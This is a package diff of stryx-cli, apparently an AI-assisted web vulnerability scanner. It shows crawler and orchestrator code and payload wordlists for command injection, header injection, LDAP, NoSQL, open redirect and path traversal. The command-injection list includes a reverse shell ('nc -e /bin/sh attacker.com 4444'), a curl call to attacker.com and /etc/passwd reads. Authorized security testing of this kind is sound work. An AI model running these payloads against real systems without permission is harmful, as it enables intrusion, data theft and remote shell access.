stryx-cli 0.1.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- stryx/__init__.py +35 -0
- stryx/ai/__init__.py +5 -0
- stryx/ai/attack_planner.py +199 -0
- stryx/ai/payload_generator.py +212 -0
- stryx/ai/prompts.py +85 -0
- stryx/ai/providers.py +249 -0
- stryx/attacks/__init__.py +6 -0
- stryx/attacks/attack_chain.py +111 -0
- stryx/attacks/replay.py +186 -0
- stryx/auth/__init__.py +1 -0
- stryx/auth/session_manager.py +335 -0
- stryx/cli.py +675 -0
- stryx/comparison/__init__.py +1 -0
- stryx/comparison/differ.py +255 -0
- stryx/config/__init__.py +6 -0
- stryx/config/default_config.yaml +12 -0
- stryx/config/loader.py +111 -0
- stryx/config/schema.py +80 -0
- stryx/crawler/__init__.py +5 -0
- stryx/crawler/discovery.py +178 -0
- stryx/crawler/graphql_discovery.py +86 -0
- stryx/crawler/html_crawler.py +294 -0
- stryx/crawler/js_endpoints.py +165 -0
- stryx/crawler/openapi.py +76 -0
- stryx/crawler/sitemap.py +94 -0
- stryx/orchestrator.py +347 -0
- stryx/payloads/cmdi.txt +31 -0
- stryx/payloads/header_injection.txt +15 -0
- stryx/payloads/ldap.txt +19 -0
- stryx/payloads/nosqli.txt +21 -0
- stryx/payloads/open_redirect.txt +23 -0
- stryx/payloads/path_traversal.txt +26 -0
- stryx/payloads/sqli.txt +31 -0
- stryx/payloads/ssrf.txt +30 -0
- stryx/payloads/ssti.txt +21 -0
- stryx/payloads/xss.txt +48 -0
- stryx/payloads/xxe.txt +35 -0
- stryx/plugins/__init__.py +5 -0
- stryx/plugins/base.py +85 -0
- stryx/policy/__init__.py +1 -0
- stryx/policy/engine.py +201 -0
- stryx/py.typed +0 -0
- stryx/reports/__init__.py +5 -0
- stryx/reports/generator.py +122 -0
- stryx/reports/json_report.py +72 -0
- stryx/reports/markdown_report.py +101 -0
- stryx/reports/sarif_report.py +200 -0
- stryx/reports/templates/report.html.j2 +163 -0
- stryx/reports/terminal_report.py +138 -0
- stryx/scanners/__init__.py +17 -0
- stryx/scanners/auth.py +444 -0
- stryx/scanners/authorization.py +220 -0
- stryx/scanners/blind.py +328 -0
- stryx/scanners/cloud_ssrf.py +208 -0
- stryx/scanners/cors.py +158 -0
- stryx/scanners/dependencies.py +296 -0
- stryx/scanners/disclosure.py +339 -0
- stryx/scanners/fuzz.py +391 -0
- stryx/scanners/graphql.py +309 -0
- stryx/scanners/injection.py +511 -0
- stryx/scanners/race.py +257 -0
- stryx/signatures/framework_fingerprints.yaml +122 -0
- stryx/signatures/known_vulns.yaml +210 -0
- stryx/utils/__init__.py +7 -0
- stryx/utils/evidence.py +109 -0
- stryx/utils/http_client.py +159 -0
- stryx/utils/logging.py +51 -0
- stryx/utils/rate_limiter.py +37 -0
- stryx_cli-0.1.0.dist-info/METADATA +236 -0
- stryx_cli-0.1.0.dist-info/RECORD +74 -0
- stryx_cli-0.1.0.dist-info/WHEEL +5 -0
- stryx_cli-0.1.0.dist-info/entry_points.txt +2 -0
- stryx_cli-0.1.0.dist-info/licenses/LICENSE +190 -0
- stryx_cli-0.1.0.dist-info/top_level.txt +1 -0
stryx/crawler/sitemap.py
ADDED
|
@@ -0,0 +1,94 @@
|
|
|
1
|
+
"""Sitemap and robots.txt endpoint discovery."""
|
|
2
|
+
|
|
3
|
+
from __future__ import annotations
|
|
4
|
+
|
|
5
|
+
import re
|
|
6
|
+
from urllib.parse import urlparse
|
|
7
|
+
|
|
8
|
+
from stryx.crawler.discovery import Endpoint
|
|
9
|
+
from stryx.utils.http_client import HttpClient
|
|
10
|
+
from stryx.utils.logging import get_logger
|
|
11
|
+
|
|
12
|
+
logger = get_logger("crawler.sitemap")
|
|
13
|
+
|
|
14
|
+
|
|
15
|
+
async def discover_sitemap(target_url: str) -> list[Endpoint]:
|
|
16
|
+
"""Discover endpoints from robots.txt and sitemap.xml."""
|
|
17
|
+
logger.info("Scanning robots.txt and sitemap.xml")
|
|
18
|
+
endpoints: list[Endpoint] = []
|
|
19
|
+
client = HttpClient(timeout=5)
|
|
20
|
+
|
|
21
|
+
# Check robots.txt
|
|
22
|
+
try:
|
|
23
|
+
response, _ = await client.get(f"{target_url}/robots.txt")
|
|
24
|
+
if response.status_code == 200:
|
|
25
|
+
text = response.text
|
|
26
|
+
# Extract paths from Disallow and Allow directives
|
|
27
|
+
paths = re.findall(r'(?:Disallow|Allow):\s*(.+)', text)
|
|
28
|
+
for path in paths:
|
|
29
|
+
path = path.strip()
|
|
30
|
+
if path and path != "/":
|
|
31
|
+
endpoints.append(Endpoint(
|
|
32
|
+
path=f"{target_url}{path}",
|
|
33
|
+
method="GET",
|
|
34
|
+
source="robots.txt",
|
|
35
|
+
confidence=0.8,
|
|
36
|
+
))
|
|
37
|
+
|
|
38
|
+
# Extract sitemap URLs
|
|
39
|
+
sitemap_urls = re.findall(r'Sitemap:\s*(.+)', text)
|
|
40
|
+
for sitemap_url in sitemap_urls:
|
|
41
|
+
sitemap_url = sitemap_url.strip()
|
|
42
|
+
sitemap_endpoints = await _parse_sitemap(client, sitemap_url)
|
|
43
|
+
endpoints.extend(sitemap_endpoints)
|
|
44
|
+
except Exception as e:
|
|
45
|
+
logger.warning(f"Failed to check robots.txt: {e}")
|
|
46
|
+
|
|
47
|
+
# Check common sitemap locations
|
|
48
|
+
sitemap_paths = ["/sitemap.xml", "/sitemap_index.xml", "/sitemap.txt"]
|
|
49
|
+
for path in sitemap_paths:
|
|
50
|
+
url = f"{target_url}{path}"
|
|
51
|
+
try:
|
|
52
|
+
response, _ = await client.get(url)
|
|
53
|
+
if response.status_code == 200:
|
|
54
|
+
sitemap_endpoints = await _parse_sitemap_content(client, response.text, target_url)
|
|
55
|
+
endpoints.extend(sitemap_endpoints)
|
|
56
|
+
except Exception:
|
|
57
|
+
continue
|
|
58
|
+
|
|
59
|
+
return endpoints
|
|
60
|
+
|
|
61
|
+
|
|
62
|
+
async def _parse_sitemap(client: HttpClient, sitemap_url: str) -> list[Endpoint]:
|
|
63
|
+
"""Parse a sitemap XML file for URLs."""
|
|
64
|
+
try:
|
|
65
|
+
response, _ = await client.get(sitemap_url)
|
|
66
|
+
if response.status_code == 200:
|
|
67
|
+
return await _parse_sitemap_content(client, response.text, sitemap_url)
|
|
68
|
+
except Exception:
|
|
69
|
+
pass
|
|
70
|
+
return []
|
|
71
|
+
|
|
72
|
+
|
|
73
|
+
async def _parse_sitemap_content(
|
|
74
|
+
client: HttpClient, content: str, source_url: str
|
|
75
|
+
) -> list[Endpoint]:
|
|
76
|
+
"""Parse sitemap XML content for URLs."""
|
|
77
|
+
endpoints: list[Endpoint] = []
|
|
78
|
+
|
|
79
|
+
# Simple XML URL extraction
|
|
80
|
+
urls = re.findall(r'<loc>(.*?)</loc>', content)
|
|
81
|
+
target_host = urlparse(source_url).hostname
|
|
82
|
+
|
|
83
|
+
for url in urls:
|
|
84
|
+
parsed = urlparse(url)
|
|
85
|
+
if parsed.hostname == target_host or not parsed.hostname:
|
|
86
|
+
path = parsed.path or "/"
|
|
87
|
+
endpoints.append(Endpoint(
|
|
88
|
+
path=f"{parsed.scheme}://{parsed.netloc}{path}",
|
|
89
|
+
method="GET",
|
|
90
|
+
source="sitemap",
|
|
91
|
+
confidence=0.7,
|
|
92
|
+
))
|
|
93
|
+
|
|
94
|
+
return endpoints
|
stryx/orchestrator.py
ADDED
|
@@ -0,0 +1,347 @@
|
|
|
1
|
+
"""Attack orchestrator -- coordinates the full scan pipeline.
|
|
2
|
+
|
|
3
|
+
Pipeline:
|
|
4
|
+
Discover Target -> Crawl Application -> Identify Endpoints -> Fingerprint Framework
|
|
5
|
+
-> Authenticate (optional) -> Run Scanner Modules -> Generate AI Attack Chains
|
|
6
|
+
-> Validate Findings -> Generate Report
|
|
7
|
+
"""
|
|
8
|
+
|
|
9
|
+
from __future__ import annotations
|
|
10
|
+
|
|
11
|
+
import asyncio
|
|
12
|
+
from dataclasses import dataclass, field
|
|
13
|
+
|
|
14
|
+
from stryx.ai.attack_planner import AttackPlanner
|
|
15
|
+
from stryx.config.schema import StryxConfig
|
|
16
|
+
from stryx.crawler.discovery import DiscoveryAggregator, Endpoint
|
|
17
|
+
from stryx.reports.generator import ReportGenerator
|
|
18
|
+
from stryx.scanners.auth import AuthScanner
|
|
19
|
+
from stryx.scanners.authorization import AuthorizationScanner
|
|
20
|
+
from stryx.scanners.blind import BlindScanner
|
|
21
|
+
from stryx.scanners.cloud_ssrf import CloudSSRFScanner
|
|
22
|
+
from stryx.scanners.cors import CorsScanner
|
|
23
|
+
from stryx.scanners.dependencies import DependencyScanner
|
|
24
|
+
from stryx.scanners.disclosure import DisclosureScanner
|
|
25
|
+
from stryx.scanners.fuzz import FuzzScanner
|
|
26
|
+
from stryx.scanners.graphql import GraphQLScanner
|
|
27
|
+
from stryx.scanners.injection import InjectionScanner
|
|
28
|
+
from stryx.scanners.race import RaceScanner
|
|
29
|
+
from stryx.utils.evidence import Finding
|
|
30
|
+
from stryx.utils.http_client import HttpClient
|
|
31
|
+
from stryx.utils.logging import get_logger
|
|
32
|
+
|
|
33
|
+
logger = get_logger("orchestrator")
|
|
34
|
+
|
|
35
|
+
|
|
36
|
+
@dataclass
|
|
37
|
+
class ScanContext:
|
|
38
|
+
"""Shared state object passed between all modules during a scan."""
|
|
39
|
+
|
|
40
|
+
target_url: str
|
|
41
|
+
endpoints: list[Endpoint] = field(default_factory=list)
|
|
42
|
+
endpoint_urls: list[str] = field(default_factory=list)
|
|
43
|
+
findings: list[Finding] = field(default_factory=list)
|
|
44
|
+
graphql_endpoints: list[str] = field(default_factory=list)
|
|
45
|
+
cookies: str = ""
|
|
46
|
+
headers: dict[str, str] = field(default_factory=dict)
|
|
47
|
+
framework: str | None = None
|
|
48
|
+
auth_tokens: dict[str, str] = field(default_factory=dict)
|
|
49
|
+
session_headers: dict[str, str] = field(default_factory=dict)
|
|
50
|
+
|
|
51
|
+
|
|
52
|
+
class Orchestrator:
|
|
53
|
+
"""Coordinates the full STRYX scan pipeline."""
|
|
54
|
+
|
|
55
|
+
def __init__(self, config: StryxConfig):
|
|
56
|
+
self.config = config
|
|
57
|
+
self.context = ScanContext(
|
|
58
|
+
target_url=config.target_url or "",
|
|
59
|
+
cookies=config.cookies or "",
|
|
60
|
+
headers=config.headers or {},
|
|
61
|
+
)
|
|
62
|
+
self.client = HttpClient(
|
|
63
|
+
timeout=config.timeout,
|
|
64
|
+
proxy=config.proxy,
|
|
65
|
+
rate_limit=config.rate,
|
|
66
|
+
headers=config.headers,
|
|
67
|
+
cookies=config.cookies,
|
|
68
|
+
)
|
|
69
|
+
self._semaphore: asyncio.Semaphore | None = None
|
|
70
|
+
|
|
71
|
+
async def run(self) -> list[Finding]:
|
|
72
|
+
"""Execute the full scan pipeline."""
|
|
73
|
+
logger.info(f"Starting STRYX scan against {self.context.target_url}")
|
|
74
|
+
|
|
75
|
+
# Set up concurrency control based on threads config
|
|
76
|
+
if self.config.threads and self.config.threads > 1:
|
|
77
|
+
self._semaphore = asyncio.Semaphore(self.config.threads)
|
|
78
|
+
logger.info(f"Concurrency limit: {self.config.threads} threads")
|
|
79
|
+
|
|
80
|
+
# Stage 1: Discover endpoints
|
|
81
|
+
await self._stage_discover()
|
|
82
|
+
|
|
83
|
+
# Stage 2: Fingerprint framework
|
|
84
|
+
await self._stage_fingerprint()
|
|
85
|
+
|
|
86
|
+
# Stage 2.5: Authenticate (if credentials provided)
|
|
87
|
+
await self._stage_authenticate()
|
|
88
|
+
|
|
89
|
+
# Stage 3: Run scanner modules
|
|
90
|
+
await self._stage_scan()
|
|
91
|
+
|
|
92
|
+
# Stage 4: Generate AI attack chains
|
|
93
|
+
attack_chains = await self._stage_attack_planning()
|
|
94
|
+
|
|
95
|
+
# Stage 5: Generate reports
|
|
96
|
+
self._stage_report(attack_chains)
|
|
97
|
+
|
|
98
|
+
logger.info(f"Scan complete. {len(self.context.findings)} findings.")
|
|
99
|
+
return self.context.findings
|
|
100
|
+
|
|
101
|
+
async def _stage_discover(self) -> None:
|
|
102
|
+
"""Stage 1: Crawl and discover endpoints."""
|
|
103
|
+
logger.info("Stage 1: Discovering endpoints")
|
|
104
|
+
|
|
105
|
+
# Apply --deep flag: increase crawl depth
|
|
106
|
+
depth = self.config.crawl_depth
|
|
107
|
+
if self.config.deep:
|
|
108
|
+
depth = max(depth, 15)
|
|
109
|
+
logger.info(f"Deep mode: crawl depth increased to {depth}")
|
|
110
|
+
|
|
111
|
+
aggregator = DiscoveryAggregator(
|
|
112
|
+
self.context.target_url,
|
|
113
|
+
depth=depth,
|
|
114
|
+
wordlist=self.config.wordlist,
|
|
115
|
+
respect_robots=self.config.respect_robots,
|
|
116
|
+
)
|
|
117
|
+
endpoints = await aggregator.discover()
|
|
118
|
+
|
|
119
|
+
self.context.endpoints = endpoints
|
|
120
|
+
self.context.endpoint_urls = [ep.path for ep in endpoints]
|
|
121
|
+
|
|
122
|
+
# Separate GraphQL endpoints
|
|
123
|
+
for ep in endpoints:
|
|
124
|
+
if "graphql" in ep.source.lower():
|
|
125
|
+
self.context.graphql_endpoints.append(ep.path)
|
|
126
|
+
|
|
127
|
+
# If no endpoints found, at least test the base URL
|
|
128
|
+
if not self.context.endpoint_urls:
|
|
129
|
+
self.context.endpoint_urls = [self.context.target_url]
|
|
130
|
+
logger.info("No endpoints discovered, testing base URL")
|
|
131
|
+
|
|
132
|
+
async def _stage_fingerprint(self) -> None:
|
|
133
|
+
"""Stage 2: Fingerprint the target framework."""
|
|
134
|
+
logger.info("Stage 2: Fingerprinting framework")
|
|
135
|
+
|
|
136
|
+
try:
|
|
137
|
+
response, _ = await self.client.get(self.context.target_url)
|
|
138
|
+
scanner = InjectionScanner(self.client)
|
|
139
|
+
self.context.framework = scanner.fingerprint_framework(
|
|
140
|
+
dict(response.headers), response.text
|
|
141
|
+
)
|
|
142
|
+
if self.context.framework:
|
|
143
|
+
logger.info(f"Detected framework: {self.context.framework}")
|
|
144
|
+
except Exception as e:
|
|
145
|
+
logger.warning(f"Fingerprinting failed: {e}")
|
|
146
|
+
|
|
147
|
+
async def _stage_authenticate(self) -> None:
|
|
148
|
+
"""Stage 2.5: Authenticate if credentials are provided."""
|
|
149
|
+
session_config = self.config.session
|
|
150
|
+
if not session_config.username or not session_config.password:
|
|
151
|
+
return
|
|
152
|
+
|
|
153
|
+
logger.info("Stage 2.5: Authenticating")
|
|
154
|
+
|
|
155
|
+
try:
|
|
156
|
+
from stryx.auth.session_manager import SessionManager
|
|
157
|
+
|
|
158
|
+
manager = SessionManager(
|
|
159
|
+
client=self.client,
|
|
160
|
+
base_url=self.context.target_url,
|
|
161
|
+
username=session_config.username,
|
|
162
|
+
password=session_config.password,
|
|
163
|
+
login_url=session_config.login_url,
|
|
164
|
+
headers=self.context.headers,
|
|
165
|
+
)
|
|
166
|
+
|
|
167
|
+
if await manager.setup():
|
|
168
|
+
self.context.session_headers = manager.get_session_headers()
|
|
169
|
+
self.context.cookies = str(manager.get_session_cookies())
|
|
170
|
+
logger.info("Authentication successful")
|
|
171
|
+
else:
|
|
172
|
+
logger.warning("Authentication failed, continuing unauthenticated")
|
|
173
|
+
except Exception as e:
|
|
174
|
+
logger.warning(f"Authentication error: {e}")
|
|
175
|
+
|
|
176
|
+
async def _stage_scan(self) -> None:
|
|
177
|
+
"""Stage 3: Run all enabled scanner modules concurrently."""
|
|
178
|
+
logger.info("Stage 3: Running scanner modules")
|
|
179
|
+
|
|
180
|
+
endpoints = self.context.endpoint_urls
|
|
181
|
+
base_url = self.context.target_url
|
|
182
|
+
deep = self.config.deep
|
|
183
|
+
modules = self.config.modules
|
|
184
|
+
|
|
185
|
+
# Build list of scanner coroutines to run concurrently
|
|
186
|
+
scanner_tasks: list[tuple[str, asyncio.Task]] = []
|
|
187
|
+
|
|
188
|
+
async def _safe_run(name: str, coro) -> list[Finding]:
|
|
189
|
+
"""Run a scanner and return findings, catching exceptions."""
|
|
190
|
+
try:
|
|
191
|
+
return await coro
|
|
192
|
+
except Exception as e:
|
|
193
|
+
logger.error(f"{name} scanner failed: {e}")
|
|
194
|
+
return []
|
|
195
|
+
|
|
196
|
+
# Auth scanner
|
|
197
|
+
if deep or modules.auth:
|
|
198
|
+
auth_scanner = AuthScanner(self.client)
|
|
199
|
+
scanner_tasks.append(("auth", asyncio.create_task(
|
|
200
|
+
_safe_run("Auth", auth_scanner.scan(endpoints, base_url))
|
|
201
|
+
)))
|
|
202
|
+
|
|
203
|
+
# Authorization scanner
|
|
204
|
+
if deep or modules.authorization:
|
|
205
|
+
authz_scanner = AuthorizationScanner(self.client)
|
|
206
|
+
scanner_tasks.append(("authorization", asyncio.create_task(
|
|
207
|
+
_safe_run("Authorization", authz_scanner.scan(endpoints, base_url, self.context.cookies))
|
|
208
|
+
)))
|
|
209
|
+
|
|
210
|
+
# Injection scanner
|
|
211
|
+
if deep or modules.injection:
|
|
212
|
+
injection_scanner = InjectionScanner(self.client)
|
|
213
|
+
if self.context.framework:
|
|
214
|
+
injection_scanner.framework = self.context.framework
|
|
215
|
+
scanner_tasks.append(("injection", asyncio.create_task(
|
|
216
|
+
_safe_run("Injection", injection_scanner.scan(endpoints, base_url))
|
|
217
|
+
)))
|
|
218
|
+
|
|
219
|
+
# Fuzz scanner
|
|
220
|
+
if deep or modules.fuzzing:
|
|
221
|
+
fuzz_scanner = FuzzScanner(self.client)
|
|
222
|
+
scanner_tasks.append(("fuzz", asyncio.create_task(
|
|
223
|
+
_safe_run("Fuzz", fuzz_scanner.scan(endpoints, base_url))
|
|
224
|
+
)))
|
|
225
|
+
|
|
226
|
+
# CORS scanner (always runs)
|
|
227
|
+
cors_scanner = CorsScanner(self.client)
|
|
228
|
+
scanner_tasks.append(("cors", asyncio.create_task(
|
|
229
|
+
_safe_run("CORS", cors_scanner.scan(base_url))
|
|
230
|
+
)))
|
|
231
|
+
|
|
232
|
+
# GraphQL scanner
|
|
233
|
+
if self.context.graphql_endpoints:
|
|
234
|
+
graphql_scanner = GraphQLScanner(self.client)
|
|
235
|
+
scanner_tasks.append(("graphql", asyncio.create_task(
|
|
236
|
+
_safe_run("GraphQL", graphql_scanner.scan(self.context.graphql_endpoints))
|
|
237
|
+
)))
|
|
238
|
+
|
|
239
|
+
# === NEW SCANNERS ===
|
|
240
|
+
|
|
241
|
+
# Blind injection scanner
|
|
242
|
+
if deep or modules.blind:
|
|
243
|
+
blind_scanner = BlindScanner(self.client)
|
|
244
|
+
scanner_tasks.append(("blind", asyncio.create_task(
|
|
245
|
+
_safe_run("Blind", blind_scanner.scan(endpoints, base_url))
|
|
246
|
+
)))
|
|
247
|
+
|
|
248
|
+
# Information disclosure scanner
|
|
249
|
+
if deep or modules.disclosure:
|
|
250
|
+
disclosure_scanner = DisclosureScanner(self.client)
|
|
251
|
+
scanner_tasks.append(("disclosure", asyncio.create_task(
|
|
252
|
+
_safe_run("Disclosure", disclosure_scanner.scan(endpoints, base_url))
|
|
253
|
+
)))
|
|
254
|
+
|
|
255
|
+
# Race condition scanner
|
|
256
|
+
if deep or modules.race:
|
|
257
|
+
race_scanner = RaceScanner(self.client)
|
|
258
|
+
scanner_tasks.append(("race", asyncio.create_task(
|
|
259
|
+
_safe_run("Race", race_scanner.scan(endpoints, base_url))
|
|
260
|
+
)))
|
|
261
|
+
|
|
262
|
+
# Cloud metadata SSRF scanner
|
|
263
|
+
if deep or modules.cloud_ssrf:
|
|
264
|
+
cloud_ssrf_scanner = CloudSSRFScanner(self.client)
|
|
265
|
+
scanner_tasks.append(("cloud-ssrf", asyncio.create_task(
|
|
266
|
+
_safe_run("CloudSSRF", cloud_ssrf_scanner.scan(endpoints, base_url))
|
|
267
|
+
)))
|
|
268
|
+
|
|
269
|
+
# JS dependency scanner
|
|
270
|
+
if deep or modules.dependencies:
|
|
271
|
+
dep_scanner = DependencyScanner(self.client)
|
|
272
|
+
scanner_tasks.append(("dependencies", asyncio.create_task(
|
|
273
|
+
_safe_run("Dependencies", dep_scanner.scan(endpoints, base_url))
|
|
274
|
+
)))
|
|
275
|
+
|
|
276
|
+
# Wait for all scanners to complete
|
|
277
|
+
if scanner_tasks:
|
|
278
|
+
logger.info(f"Running {len(scanner_tasks)} scanners concurrently")
|
|
279
|
+
names = [name for name, _ in scanner_tasks]
|
|
280
|
+
tasks = [task for _, task in scanner_tasks]
|
|
281
|
+
results = await asyncio.gather(*tasks, return_exceptions=True)
|
|
282
|
+
|
|
283
|
+
for name, result in zip(names, results):
|
|
284
|
+
if isinstance(result, list):
|
|
285
|
+
self.context.findings.extend(result)
|
|
286
|
+
logger.info(f" {name}: {len(result)} findings")
|
|
287
|
+
elif isinstance(result, Exception):
|
|
288
|
+
logger.error(f" {name}: {result}")
|
|
289
|
+
|
|
290
|
+
async def _stage_attack_planning(self) -> list:
|
|
291
|
+
"""Stage 4: AI-assisted attack chain planning."""
|
|
292
|
+
if not self.config.ai_attack_planning:
|
|
293
|
+
logger.info("AI attack planning disabled, skipping")
|
|
294
|
+
return []
|
|
295
|
+
|
|
296
|
+
logger.info("Stage 4: Planning attack chains")
|
|
297
|
+
|
|
298
|
+
planner = AttackPlanner(
|
|
299
|
+
provider_name=self.config.provider,
|
|
300
|
+
model=self.config.model,
|
|
301
|
+
api_key=self.config.api_key,
|
|
302
|
+
)
|
|
303
|
+
|
|
304
|
+
return await planner.plan_attack_chains(self.context.findings)
|
|
305
|
+
|
|
306
|
+
def _stage_report(self, attack_chains: list) -> None:
|
|
307
|
+
"""Stage 5: Generate reports."""
|
|
308
|
+
logger.info("Stage 5: Generating reports")
|
|
309
|
+
|
|
310
|
+
generator = ReportGenerator(
|
|
311
|
+
self.context.target_url,
|
|
312
|
+
self.context.findings,
|
|
313
|
+
attack_chains,
|
|
314
|
+
)
|
|
315
|
+
|
|
316
|
+
# Always show terminal report
|
|
317
|
+
generator.generate_terminal()
|
|
318
|
+
|
|
319
|
+
# Generate additional formats if requested
|
|
320
|
+
if self.config.json_output:
|
|
321
|
+
generator.generate_json(self.config.json_output)
|
|
322
|
+
if self.config.html_output:
|
|
323
|
+
generator.generate_html(self.config.html_output)
|
|
324
|
+
if self.config.markdown_output:
|
|
325
|
+
generator.generate_markdown(self.config.markdown_output)
|
|
326
|
+
|
|
327
|
+
# SARIF output
|
|
328
|
+
if self.config.sarif_output:
|
|
329
|
+
from stryx.reports.sarif_report import SarifReport
|
|
330
|
+
sarif = SarifReport(self.context.target_url, self.context.findings)
|
|
331
|
+
sarif.save(self.config.sarif_output)
|
|
332
|
+
|
|
333
|
+
# Policy evaluation
|
|
334
|
+
if self.config.policy_file:
|
|
335
|
+
from stryx.policy.engine import PolicyEngine
|
|
336
|
+
policy = PolicyEngine.from_file(self.config.policy_file)
|
|
337
|
+
result = policy.evaluate(self.context.findings)
|
|
338
|
+
logger.info(str(result))
|
|
339
|
+
if not result.passed:
|
|
340
|
+
self._policy_failed = True
|
|
341
|
+
|
|
342
|
+
# Baseline comparison
|
|
343
|
+
if self.config.baseline_file and self.config.json_output:
|
|
344
|
+
from stryx.comparison.differ import ScanDiffer
|
|
345
|
+
differ = ScanDiffer(self.config.baseline_file, self.config.json_output)
|
|
346
|
+
diff = differ.compare()
|
|
347
|
+
logger.info(diff.summary())
|
stryx/payloads/cmdi.txt
ADDED
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
; ls
|
|
2
|
+
| ls
|
|
3
|
+
|| ls
|
|
4
|
+
`ls`
|
|
5
|
+
$(ls)
|
|
6
|
+
; cat /etc/passwd
|
|
7
|
+
| cat /etc/passwd
|
|
8
|
+
|| cat /etc/passwd
|
|
9
|
+
`cat /etc/passwd`
|
|
10
|
+
$(cat /etc/passwd)
|
|
11
|
+
; id
|
|
12
|
+
| id
|
|
13
|
+
`id`
|
|
14
|
+
$(id)
|
|
15
|
+
; whoami
|
|
16
|
+
| whoami
|
|
17
|
+
`whoami`
|
|
18
|
+
$(whoami)
|
|
19
|
+
; ping -c 3 127.0.0.1
|
|
20
|
+
| ping -c 3 127.0.0.1
|
|
21
|
+
`ping -c 3 127.0.0.1`
|
|
22
|
+
; curl http://attacker.com
|
|
23
|
+
| curl http://attacker.com
|
|
24
|
+
; sleep 5
|
|
25
|
+
| sleep 5
|
|
26
|
+
`sleep 5`
|
|
27
|
+
$(sleep 5)
|
|
28
|
+
; nc -e /bin/sh attacker.com 4444
|
|
29
|
+
| nc -e /bin/sh attacker.com 4444
|
|
30
|
+
; echo YmFzZTY0 | base64 -d
|
|
31
|
+
| echo YmFzZTY0 | base64 -d
|
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
test\r\nX-Injected-Header: true
|
|
2
|
+
test\r\n\r\n<html>injected</html>
|
|
3
|
+
test%0d%0aX-Injected-Header:%20true
|
|
4
|
+
test%0aX-Injected-Header:%20true
|
|
5
|
+
test\r\nContent-Type:%20text/html
|
|
6
|
+
test\r\nLocation:%20http://evil.com
|
|
7
|
+
test\r\n\r\n<script>alert(1)</script>
|
|
8
|
+
test%0d%0aSet-Cookie:%20session=malicious
|
|
9
|
+
test%0d%0aX-Custom:%20injected
|
|
10
|
+
test%0aX-Custom:%20injected
|
|
11
|
+
test\r\nAuthorization:%20Bearer%20stolen
|
|
12
|
+
test\r\n\r\nHTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n<html>injected</html>
|
|
13
|
+
test\r\nX-Frame-Options:%20ALLOWALL
|
|
14
|
+
test%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1 200 OK
|
|
15
|
+
test\r\nTransfer-Encoding:%20chunked
|
stryx/payloads/ldap.txt
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
*
|
|
2
|
+
admin*
|
|
3
|
+
*)(objectClass=*
|
|
4
|
+
*)(|(objectClass=*))
|
|
5
|
+
admin)(|(password=*)
|
|
6
|
+
*)(uid=*))(|(uid=*
|
|
7
|
+
*)(cn=*))(|(cn=*
|
|
8
|
+
*()|(&(objectClass=*)(uid=*))
|
|
9
|
+
admin)(&)
|
|
10
|
+
)(objectClass=*)
|
|
11
|
+
*)(&)
|
|
12
|
+
(&(uid=*)(cn=*))
|
|
13
|
+
(&(objectClass=user)(uid=admin))
|
|
14
|
+
(|(uid=admin)(cn=admin))
|
|
15
|
+
(&(objectClass=person)(|(uid=*)(cn=*)))
|
|
16
|
+
*%00
|
|
17
|
+
admin%00
|
|
18
|
+
)(!(&(1=0))(|(1=1)))
|
|
19
|
+
(&(objectClass=*)(!(uid=nobody)))
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
{"$gt": ""}
|
|
2
|
+
{"$ne": ""}
|
|
3
|
+
{"$regex": ".*"}
|
|
4
|
+
{"$where": "1==1"}
|
|
5
|
+
{"$where": "this.password == this.username"}
|
|
6
|
+
{"$exists": true}
|
|
7
|
+
{"$exists": false}
|
|
8
|
+
{"$in": ["admin", "root"]}
|
|
9
|
+
{"$nin": []}
|
|
10
|
+
{"$or": [{"username": "admin"}, {"role": "admin"}]}
|
|
11
|
+
{"$and": [{"username": {"$ne": ""}}, {"password": {"$ne": ""}}]}
|
|
12
|
+
{"username": {"$regex": "^admin"}}
|
|
13
|
+
{"username": {"$regex": "^admin", "$options": "i"}}
|
|
14
|
+
{"$expr": {"$eq": ["$username", "$password"]}}
|
|
15
|
+
true, $where: '1==1'
|
|
16
|
+
'; return true; var a='
|
|
17
|
+
db.collection.find({username: {$ne: ""}})
|
|
18
|
+
{"$where": "sleep(5000)"}
|
|
19
|
+
{"$where": "function(){sleep(5000)}"}
|
|
20
|
+
1 || 1==1
|
|
21
|
+
'; db.users.find(); //
|
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
http://evil.com
|
|
2
|
+
//evil.com
|
|
3
|
+
//evil.com/
|
|
4
|
+
/%0d%0aLocation:%20http://evil.com
|
|
5
|
+
////evil.com
|
|
6
|
+
https://evil.com
|
|
7
|
+
\\evil.com
|
|
8
|
+
/\\evil.com
|
|
9
|
+
/evil.com
|
|
10
|
+
@evil.com
|
|
11
|
+
//evil%0d%0a.com
|
|
12
|
+
javascript:alert(1)
|
|
13
|
+
data:text/html,<script>alert(1)</script>
|
|
14
|
+
//evil.com%2F..%2F
|
|
15
|
+
/\evil.com
|
|
16
|
+
\/\/evil.com
|
|
17
|
+
%0d%0a%0d%0aLocation:%20http://evil.com
|
|
18
|
+
//evil.com@legitimate.com
|
|
19
|
+
///evil.com
|
|
20
|
+
..%2f..%2f//evil.com
|
|
21
|
+
//evil.com%00.legitimate.com
|
|
22
|
+
//evil.com%0a
|
|
23
|
+
//evil.com%0d
|
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
../../etc/passwd
|
|
2
|
+
../../../etc/passwd
|
|
3
|
+
../../../../etc/passwd
|
|
4
|
+
../../../../../etc/passwd
|
|
5
|
+
..%2f..%2f..%2fetc/passwd
|
|
6
|
+
..%252f..%252f..%252fetc/passwd
|
|
7
|
+
....//....//....//etc/passwd
|
|
8
|
+
..\/..\/..\/etc/passwd
|
|
9
|
+
..\\..\\..\\etc/passwd
|
|
10
|
+
%2e%2e%2f%2e%2e%2fetc%2fpasswd
|
|
11
|
+
..%c0%af..%c0%afetc/passwd
|
|
12
|
+
..%c1%9c..%c1%9cetc/passwd
|
|
13
|
+
..%255c..%255cetc/passwd
|
|
14
|
+
....\/....\/....\/etc/passwd
|
|
15
|
+
/....//etc/passwd
|
|
16
|
+
..\..\..\windows\system32\drivers\etc\hosts
|
|
17
|
+
..%2f..%2f..%2fwindows/system32/drivers/etc/hosts
|
|
18
|
+
